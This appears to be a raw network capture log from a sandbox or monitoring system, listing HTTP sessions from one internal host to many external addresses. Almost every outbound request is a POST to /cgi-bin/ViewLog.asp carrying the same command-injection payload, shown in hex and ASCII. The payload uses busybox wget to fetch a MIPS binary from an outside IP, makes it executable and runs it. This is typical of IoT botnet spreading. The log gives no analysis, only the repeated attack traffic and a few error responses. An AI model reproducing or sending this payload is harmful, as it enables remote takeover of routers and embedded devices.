Nov 23, 2023 05:17:38.783164978 CET	233	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 39 2e 31 34 39 2e 31 38 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 33 2d 31 31 2d 32 33 20 31 32 3a 31 37 3a 33 32 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 89.149.18.60MAC Address: Server Time: 2023-11-23 12:17:32Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
484	192.168.2.13	46540	95.86.90.62	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:38.803210974 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
485	192.168.2.13	45944	62.29.86.119	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:39.280906916 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:40.454265118 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:41.830293894 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:44.742245913 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:50.374237061 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:01.382221937 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
486	192.168.2.13	36170	85.74.2.176	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:39.300685883 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
487	192.168.2.13	41058	94.120.50.191	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:39.312036037 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
488	192.168.2.13	34374	94.120.40.33	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:39.776459932 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
489	192.168.2.13	36914	94.120.168.38	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:39.809240103 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
490	192.168.2.13	40246	31.136.89.181	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:39.961795092 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:40.519695997 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:41.638278008 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:43.974253893 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:48.582254887 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:57.542212963 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:16.230170012 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
491	192.168.2.13	44148	95.217.194.122	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:40.120306015 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
492	192.168.2.13	50928	85.255.165.244	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:40.133035898 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:40.341758013 CET	556	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Thu, 23 Nov 2023 04:17:42 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>
Nov 23, 2023 05:17:40.933310986 CET	556	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Thu, 23 Nov 2023 04:17:42 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
493	192.168.2.13	45866	31.200.39.246	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:40.162420988 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:41.414282084 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:42.854259968 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
